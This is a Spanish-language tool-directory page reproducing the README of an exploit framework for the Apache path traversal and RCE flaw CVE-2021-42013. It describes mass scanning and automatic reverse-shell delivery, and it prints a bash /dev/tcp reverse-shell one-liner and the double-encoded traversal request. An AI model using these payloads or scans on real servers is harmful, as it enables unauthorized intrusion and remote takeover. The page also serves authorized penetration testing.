Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
POC-CVE-2021-42013-EXPLOIT — Una herramienta avanzada de escaneo, explotación e interacción remota diseñada para detectar y aprovechar la vulnerabilidad Apache Path Traversal + RCE (CVE-2021-42013) en servidores mal configurados. | Kitploit
Herramientas/GitHubGitHub/makavellik/poc-cve-2021-42013-exploit
ReconocimientoEscáneres de VulnerabilidadesGeneración de PayloadsExplotaciónShellcodeExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónComando y Control

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Herramienta de Acceso Remoto
GitHubmakavellik/poc-cve-2021-42013-exploit

POC-CVE-2021-42013-EXPLOIT

Una herramienta avanzada de escaneo, explotación e interacción remota diseñada para detectar y aprovechar la vulnerabilidad Apache Path Traversal + RCE (CVE-2021-42013) en servidores mal configurados.

Ver Repositorio
4hace 1 añoAún no revisado
Compartir

Typing SVG

banner

Python License MIT Active Stealth Mode Simbiosis


root@kitploit:~
# 🔥 CVE-2021-42013 Exploit Framework by Makaveli

> 💀 Modo Hacker Cósmico Multidimensional activado...

Una herramienta avanzada de escaneo, explotación e interacción remota diseñada para detectar y aprovechar la vulnerabilidad **Apache Path Traversal + RCE (CVE-2021-42013)** en servidores mal configurados.

---

## ⚠️ Advertencia Legal

> Este software se proporciona únicamente con fines educativos y de investigación en entornos controlados.

El uso de esta herramienta contra sistemas sin autorización expresa puede ser ilegal y constituye un delito en muchos países.

El autor no se hace responsable por el uso indebido de este código. Úsalo bajo tu propio riesgo y siempre con permiso explícito del propietario del sistema objetivo.

---

 🧠 Descripción Técnica

Esta herramienta permite:

- ✅ Escanear múltiples objetivos desde un archivo `.txt`.
- ✅ Detectar automáticamente la presencia de CVE-2021-42013.
- ✅ Identificar el sistema operativo remoto (Linux o Windows).
- ✅ Enviar payloads personalizados según el sistema detectado.
- ✅ Establecer una reverse shell y obtener acceso remoto.
- ✅ Interactuar con la shell en tiempo real mediante un listener integrado.
- ✅ Disfrutar de logs avanzados, barra de progreso y menú interactivo.

---

## 🔧 Requisitos

- Python **3.8+**
- Sistemas basados en Unix/Linux/MacOS (uso de `subprocess` y `curl`)
- Requiere las siguientes librerías de Python:

```bash
pip install -r requirements.txt

requirements.txt

root@kitploit:~
rich
alive-progress

También necesitas tener instalado curl en el sistema operativo.


📁 Estructura de Archivos

root@kitploit:~
.
├── POC-CVE.py       # Script principal
├── logs.txt              # Archivo de logs generado automáticamente
├── requirements.txt      # Dependencias Python
└── targets.txt           # (Opcional) Lista de URLs a escanear

🚀 Uso Interactivo

root@kitploit:~
python3 POC-CVE.py

Selecciona entre:

  • scan_file: Escanea múltiples URLs desde un archivo y muestra cuáles son vulnerables.
  • exploit: Explotación directa de un solo objetivo, con shell inversa.
  • exit: Salir del modo interactivo.

🔍 Escaneo Masivo (scan_file)

  1. Crea un archivo con una lista de URLs, una por línea:
root@kitploit:~
http://example.com
http://victim.net
http://192.168.1.100
  1. Inicia el escaneo:
root@kitploit:~
python3 POC-CVE.py

Elige scan_file y proporciona:

  • La ruta del archivo
  • La cantidad de hilos (threads) para escaneo paralelo

💥 Explotación (exploit)

  1. Elige exploit en el menú.
  2. Ingresa:
  • La URL del objetivo
  • Tu IP local (LHOST) para recibir la shell
  • Un puerto libre (LPORT) para el listener

El script:

  • Detectará si el objetivo es vulnerable.
  • Enviará un payload adecuado según el sistema operativo remoto.
  • Abrirá un listener y te proporcionará acceso interactivo.

🧪 Ejemplo de Payloads

Linux Payload (Bash TCP Reverse Shell)

root@kitploit:~
bash -c 'exec 124<>/dev/tcp/LHOST/LPORT;sh <&124 >&124 2>&124'

Windows Payload (PowerShell TCP Reverse Shell)

root@kitploit:~
powershell -NoP -NonI -W Hidden -Command ...

🧠 Técnicas Usadas

  • Path traversal con doble codificación (/.%252e/.%252e/.%252e)
  • Inyección de comandos vía curl
  • Encabezados de evasión (User-Agent, Accept, etc)
  • Shell inversa para toma de control remoto
  • Multithreading y barra de progreso (Alive Progress)
  • Logging con timestamps y Rich Console

📌 CVE Referencia

  • CVE-ID: CVE-2021-42013
  • Vector de ataque: GET /cgi-bin/.%%32%65/.%%32%65/...
  • Impacto: RCE (Remote Code Execution)
  • CVSS Score: 9.8 (Crítico)

🧙‍♂️ Autor

  • ✨ Makaveli — "Hackea tu propia realidad"

🛡️ Disclaimer

Este proyecto se proporciona "tal cual", sin garantías ni responsabilidad por daños derivados de su uso. Nunca escanees ni explotes un sistema sin el consentimiento explícito de su propietario.


✅ Buenas Prácticas

  • Usa este script únicamente en entornos de laboratorio o pruebas autorizadas.
  • Asegúrate de que el puerto definido para el listener esté abierto y sin firewall.
  • Ejecuta como usuario normal (no root), a menos que sea estrictamente necesario.

🧩 Roadmap Futuro (Opcional)

  • Soporte para payloads personalizados
  • Exportación de resultados a CSV/JSON
  • Modo stealth con rotación de headers y proxy TOR
  • Interfaz web local (Flask)
root@kitploit:~

---


@DonMakaveliw, ¿Estas listo para crear el futuro?

Descargar herramienta